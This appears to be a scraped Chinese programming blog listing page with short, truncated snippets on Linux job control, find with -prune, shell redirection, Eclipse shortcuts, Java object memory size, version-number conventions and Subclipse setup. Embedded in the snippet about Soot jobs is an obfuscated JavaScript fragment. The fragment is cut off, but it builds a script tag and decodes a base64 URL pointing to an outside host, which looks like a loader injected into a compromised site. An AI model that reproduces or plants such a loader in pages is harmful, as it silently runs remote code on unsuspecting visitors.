fg、bg、jobs、&、ctrl + z都是跟系统任务有关的,虽然现在基本上不怎么需要用到这些命令,但学会了也是很实用的一。& 最经常被用到 这个用在一个命令的最后,可以把这个命令放到后台执行二。ctrl + z 可以将一个正在前台执行的命令放到后台,并且暂停三。jobs 查看当前有多少在后台运行的命令四。fg 将后台中的命令调至前台继续运行 如果后台中有多个命令,可以用 fg %jobnumber...
使用find查找文件的时候怎么避开某个文件目录
使用find查找文件的时候怎么避开某个文件目录
比如要在/usr/sam目录下查找不在dir1子目录之内的所有文件
find /usr/sam -path "/usr/sam/dir1" -prune -o -print
find [-path ..] [expression] 在路径列表的后面的是表达式
-path "/usr/sam" -prune -o -print 是 -path "/usr/sam" -a -prune -o -print 的简写表达式按顺序求值, -a 和 -o 都是短路求值,与 shell 的 && 和 || 类似如果 -path "/usr...
linux常用的文件重定向命令
command > filename 把标准输出重定向到一个新文件中
command >> filename 把标准输出重定向到一个文件中(追加)
command 1 > fielname 把标准输出重定向到一个文件中
command > filename 2>&1 把标准输出和标准错误一起重定向到一个文件中
command 2 > filename 把标准错误重定向到一个文件中
command 2 >> filename 把标准输出重定向到一个文件...
微软架构师谈编程语言发展(zz)
大约2个月前,在Herb Sutter的网站上看到了一个链接,内容是Channel9网站对他和其他三名微软架构师就“编程语言发展”进行的采访,架构师中有Anders Hejlsberg。一看之下,就被这个视频迷住了。这些大师站在历史的高度,通观全局又不失细节,高屋建瓴,有点有面地谈到了多个语言的发展和语言间的 相互关系。看完之后,感到视野得到了不小地开拓,对于语言、框架、工具的关系;对于静态(动态)类型、函数(命...
关键有待改进
现已经遇到soot同步运行时出错,也很不方便去解决这些问题。下一个feaure是改变使的所有更soot相关的工作全部用job包装,再用rule来规定所有的soot job不能同时运行,这样应该能很好的解决soot的问题。(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1
Eclipse 使用技巧
Alt+左箭头,右箭头 以在编辑窗口切换标签 Alt+上下箭头, 以自动选择鼠标所在行,并将其上下移动 Ctrl+f6 ...
检测Java对象所占内存大小
Don't pay the price for hidden class fieldsBy Vladimir Roubtsov, JavaWorld.com, 08/16/02
Recently, I helped design a Java server application that resembled an in-memory database. That is, we biased the design toward caching tons of data in memory to provide super-fast query performance.
Once we got the prototype running, we naturally decided to profile the data memory footpr...
软件项目版本号的命名格式
版本控制比较普遍的 3 种命名格式 :
一、 GNU 风格的版本号命名格式 :
主版本号 . 子版本号 [. 修正版本号 [. 编译版本号 ]]
英文对照 : Major_Version_Number.Minor_Version_Number[.Revision_Number[.Build_Number]]
示例 : 1.2.1, 2.0, 5.0.0 build-13124
二、 Windows 风格的版本号命名格式 :
主版本号 . 子版本号 [ 修正版本号 [. 编译版本号 ]]
英文对照 : Major_Version_Number.Minor_...
数字摘要
public static void main(String[] args) { String old =""; try { for (int i = 0; i < 10; i++) { String beforeDegist = "asdf"; System.out.println("摘要前:" + beforeDegist);
// 初始信息要转换成字节流的形式 byte[] plainText;
plainText = beforeDegist.getBytes("UTF-8");
...
ubuntu svn subclipse
If you are running Ubuntu 8.04 and you install Eclipse 3.4 with subclipse 1.4, you will probably get the "unable to load default svn client" error when trying to add a repository.
Here it is how I solved this problem. I assume that you have the 'subversion' and 'libsvn-java' packages already installed (if not, please do install them, and then follow the instructions).
1) Go ...